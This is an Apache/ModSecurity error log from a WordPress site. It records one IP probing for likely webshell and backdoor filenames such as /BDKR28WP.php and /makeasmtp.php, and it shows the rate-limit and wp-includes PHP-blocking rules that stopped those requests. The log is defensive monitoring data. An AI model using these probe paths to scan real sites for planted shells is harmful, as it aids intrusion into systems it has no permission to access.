[Tue Apr 28 06:28:12.030617 2026] [:error] [pid 14686:tid 14692] [client 4.232.90.232:40574] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "ae_i_O-YPF1Xm7uiWQ4zSwAAAMM"]
[Tue Apr 28 06:28:12.907940 2026] [:error] [pid 14686:tid 14700] [client 4.232.90.232:40566] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "ae_i_O-YPF1Xm7uiWQ4zTwAAAMs"]
[Tue Apr 28 06:28:13.604958 2026] [:error] [pid 14686:tid 14695] [client 4.232.90.232:11728] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "ae_i_e-YPF1Xm7uiWQ4zUwAAAMY"]
[Tue Apr 28 06:28:14.322963 2026] [:error] [pid 14686:tid 14701] [client 4.232.90.232:11287] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "ae_i_u-YPF1Xm7uiWQ4zVwAAAMw"]
[Tue Apr 28 06:28:14.895406 2026] [:error] [pid 6746:tid 6769] [client 4.232.90.232:36514] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "ae_i_ruStsbXtMDpzS-b6gAAAVU"]
[Tue Apr 28 06:28:15.367319 2026] [:error] [pid 6746:tid 6766] [client 4.232.90.232:13551] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "ae_i_7uStsbXtMDpzS-b7AAAAVI"]
[Tue Apr 28 06:28:16.105343 2026] [:error] [pid 14579:tid 14655] [client 4.232.90.232:22711] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/adminfuns.php"] [unique_id "ae_jABrUiOG83qKKuuD1UAAAAI8"]
[Tue Apr 28 06:28:16.802477 2026] [:error] [pid 14577:tid 14603] [client 4.232.90.232:22697] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/adminfuns.php"] [unique_id "ae_jACzBH-jwzlgiBdG6tAAAABE"]
[Tue Apr 28 06:28:17.678676 2026] [:error] [pid 14686:tid 14697] [client 4.232.90.232:40520] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/adminfuns.php"] [unique_id "ae_jAe-YPF1Xm7uiWQ4zYwAAAMg"]
[Tue Apr 28 06:28:18.423312 2026] [:error] [pid 14686:tid 14700] [client 4.232.90.232:7281] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/adminfuns.php"] [unique_id "ae_jAu-YPF1Xm7uiWQ4zZAAAAMs"]
[Tue Apr 28 06:28:19.545389 2026] [:error] [pid 14577:tid 14604] [client 4.232.90.232:22662] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/goods.php"] [unique_id "ae_jAyzBH-jwzlgiBdG6tQAAABI"]
[Tue Apr 28 06:28:20.257820 2026] [:error] [pid 14577:tid 14599] [client 4.232.90.232:11712] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/goods.php"] [unique_id "ae_jBCzBH-jwzlgiBdG6uQAAAA0"]
[Tue Apr 28 06:28:20.855090 2026] [:error] [pid 14579:tid 14657] [client 4.232.90.232:11294] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/goods.php"] [unique_id "ae_jBBrUiOG83qKKuuD1UgAAAJE"]
[Tue Apr 28 06:28:21.631823 2026] [:error] [pid 6746:tid 6768] [client 4.232.90.232:13563] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/goods.php"] [unique_id "ae_jBbuStsbXtMDpzS-b9QAAAVQ"]
[Tue Apr 28 06:28:22.535091 2026] [:error] [pid 14579:tid 14660] [client 4.232.90.232:36509] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "ae_jBhrUiOG83qKKuuD1VQAAAJQ"]
[Tue Apr 28 06:28:23.378661 2026] [:error] [pid 14686:tid 14711] [client 4.232.90.232:22669] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "ae_jB--YPF1Xm7uiWQ4zbAAAANY"]
[Tue Apr 28 06:28:24.517817 2026] [:error] [pid 14686:tid 14710] [client 4.232.90.232:40555] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "ae_jCO-YPF1Xm7uiWQ4zbgAAANU"]
[Tue Apr 28 06:28:25.052618 2026] [:error] [pid 6746:tid 6761] [client 4.232.90.232:7263] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "ae_jCbuStsbXtMDpzS-b-gAAAU0"]
[Tue Apr 28 06:28:25.798679 2026] [:error] [pid 14578:tid 14628] [client 4.232.90.232:36521] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/222.php"] [unique_id "ae_jCengo3AwIJgfSHEOzgAAAE8"]
[Tue Apr 28 06:28:26.547048 2026] [:error] [pid 14578:tid 14617] [client 4.232.90.232:19458] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/222.php"] [unique_id "ae_jCungo3AwIJgfSHEO0gAAAEQ"]
[Tue Apr 28 06:28:27.256859 2026] [:error] [pid 6746:tid 6770] [client 4.232.90.232:12439] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/222.php"] [unique_id "ae_jC7uStsbXtMDpzS-b_AAAAVY"]
[Tue Apr 28 06:28:27.797979 2026] [:error] [pid 14577:tid 14586] [client 4.232.90.232:18381] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/222.php"] [unique_id "ae_jCyzBH-jwzlgiBdG6vwAAAAA"]
[Tue Apr 28 06:28:28.588124 2026] [:error] [pid 14579:tid 14646] [client 4.232.90.232:13549] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cgi-bin/index.php"] [unique_id "ae_jDBrUiOG83qKKuuD1WQAAAIY"]
[Tue Apr 28 06:28:29.350752 2026] [:error] [pid 6746:tid 6760] [client 4.232.90.232:22702] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cgi-bin/index.php"] [unique_id "ae_jDbuStsbXtMDpzS-b_gAAAUw"]
[Tue Apr 28 06:28:30.399907 2026] [:error] [pid 14579:tid 14658] [client 4.232.90.232:13548] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cgi-bin/index.php"] [unique_id "ae_jDhrUiOG83qKKuuD1XAAAAJI"]
[Tue Apr 28 06:28:31.050265 2026] [:error] [pid 14578:tid 14630] [client 4.232.90.232:13562] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cgi-bin/index.php"] [unique_id "ae_jD-ngo3AwIJgfSHEO2wAAAFE"]
[Tue Apr 28 06:28:31.890429 2026] [:error] [pid 14578:tid 14626] [client 4.232.90.232:7291] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fff.php"] [unique_id "ae_jD-ngo3AwIJgfSHEO3gAAAE0"]
[Tue Apr 28 06:28:32.618645 2026] [:error] [pid 56602:tid 56622] [client 4.232.90.232:36486] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fff.php"] [unique_id "ae_jEPCwhMxzNW_lZSw6igAAARI"]
[Tue Apr 28 06:28:33.329126 2026] [:error] [pid 6746:tid 6759] [client 4.232.90.232:19462] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fff.php"] [unique_id "ae_jEbuStsbXtMDpzS-cAgAAAUs"]
[Tue Apr 28 06:28:34.149837 2026] [:error] [pid 14578:tid 14632] [client 4.232.90.232:18150] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fff.php"] [unique_id "ae_jEungo3AwIJgfSHEO4wAAAFM"]
[Tue Apr 28 06:28:34.780249 2026] [:error] [pid 14578:tid 14636] [client 4.232.90.232:40526] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/"] [unique_id "ae_jEungo3AwIJgfSHEO5AAAAFc"]
[Tue Apr 28 06:28:35.451800 2026] [:error] [pid 14578:tid 14631] [client 4.232.90.232:13543] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/"] [unique_id "ae_jE-ngo3AwIJgfSHEO5wAAAFI"]
[Tue Apr 28 06:28:36.025666 2026] [:error] [pid 14577:tid 14603] [client 4.232.90.232:11753] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/"] [unique_id "ae_jFCzBH-jwzlgiBdG6xwAAABE"]
[Tue Apr 28 06:28:36.607755 2026] [:error] [pid 56602:tid 56609] [client 4.232.90.232:19465] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/"] [unique_id "ae_jFPCwhMxzNW_lZSw6kQAAAQU"]
[Tue Apr 28 06:28:37.251688 2026] [:error] [pid 56602:tid 56621] [client 4.232.90.232:36533] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/makeasmtp.php"] [unique_id "ae_jFfCwhMxzNW_lZSw6lQAAARE"]
[Tue Apr 28 06:28:37.916017 2026] [:error] [pid 14579:tid 14649] [client 4.232.90.232:13554] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/makeasmtp.php"] [unique_id "ae_jFRrUiOG83qKKuuD1XwAAAIk"]
[Tue Apr 28 06:28:38.483416 2026] [:error] [pid 14579:tid 14654] [client 4.232.90.232:11312] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/makeasmtp.php"] [unique_id "ae_jFhrUiOG83qKKuuD1YQAAAI4"]
[Tue Apr 28 06:28:39.813527 2026] [:error] [pid 14578:tid 14630] [client 4.232.90.232:13505] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/makeasmtp.php"] [unique_id "ae_jF-ngo3AwIJgfSHEO8gAAAFE"]
[Tue Apr 28 06:28:40.582407 2026] [:error] [pid 56602:tid 56607] [client 4.232.90.232:11300] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admin1.php"] [unique_id "ae_jGPCwhMxzNW_lZSw6mQAAAQM"]
[Tue Apr 28 06:28:41.244530 2026] [:error] [pid 14579:tid 14641] [client 4.232.90.232:11716] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admin1.php"] [unique_id "ae_jGRrUiOG83qKKuuD1ZwAAAIE"]
[Tue Apr 28 06:28:41.937797 2026] [:error] [pid 14577:tid 14607] [client 4.232.90.232:11283] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admin1.php"] [unique_id "ae_jGSzBH-jwzlgiBdG6zwAAABU"]
[Tue Apr 28 06:28:42.620154 2026] [:error] [pid 14577:tid 14610] [client 4.232.90.232:16048] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admin1.php"] [unique_id "ae_jGizBH-jwzlgiBdG60QAAABg"]
[Tue Apr 28 06:28:43.282755 2026] [:error] [pid 14577:tid 14608] [client 4.232.90.232:22665] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "ae_jGyzBH-jwzlgiBdG61AAAABY"]
[Tue Apr 28 06:28:44.072373 2026] [:error] [pid 14579:tid 14643] [client 4.232.90.232:40527] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "ae_jHBrUiOG83qKKuuD1bAAAAIM"]
[Tue Apr 28 06:28:45.065023 2026] [:error] [pid 6746:tid 6755] [client 4.232.90.232:11274] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "ae_jHbuStsbXtMDpzS-cEgAAAUc"]
[Tue Apr 28 06:28:45.802146 2026] [:error] [pid 14577:tid 14590] [client 4.232.90.232:36496] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "ae_jHSzBH-jwzlgiBdG62wAAAAQ"]
[Tue Apr 28 06:28:46.460857 2026] [:error] [pid 6746:tid 6759] [client 4.232.90.232:19457] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/BDKR28WP.php"] [unique_id "ae_jHruStsbXtMDpzS-cFAAAAUs"]
[Tue Apr 28 06:28:47.291211 2026] [:error] [pid 56602:tid 56614] [client 4.232.90.232:19493] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/BDKR28WP.php"] [unique_id "ae_jH_CwhMxzNW_lZSw6nAAAAQo"]
[Tue Apr 28 06:28:47.884132 2026] [:error] [pid 56602:tid 56606] [client 4.232.90.232:16057] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/BDKR28WP.php"] [unique_id "ae_jH_CwhMxzNW_lZSw6oAAAAQI"]
[Tue Apr 28 06:28:52.124271 2026] [autoindex:error] [pid 56602:tid 56617] [client 4.232.90.232:13509] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/l10n/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 28 06:28:52.401481 2026] [autoindex:error] [pid 56602:tid 56608] [client 4.232.90.232:13509] AH01276: Cannot serve directory /home/vetstars/public_html/wp-content/uploads/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 28 06:29:14.183245 2026] [:error] [pid 56602:tid 56614] [client 4.232.90.232:13509] [client 4.232.90.232] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "ae_jOvCwhMxzNW_lZSw63wAAAQo"]
[Tue Apr 28 06:29:19.280997 2026] [autoindex:error] [pid 6746:tid 6760] [client 4.232.90.232:11868] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 28 06:29:19.520477 2026] [autoindex:error] [pid 6746:tid 6769] [client 4.232.90.232:14720] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/SimplePie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 28 06:29:22.313347 2026] [:error] [pid 6746:tid 6756] [client 4.232.90.232:14720] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bal.php"] [unique_id "ae_jQruStsbXtMDpzS-cWgAAAUg"]
[Tue Apr 28 06:29:23.583967 2026] [:error] [pid 14578:tid 14628] [client 4.232.90.232:11844] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bal.php"] [unique_id "ae_jQ-ngo3AwIJgfSHEPFQAAAE8"]
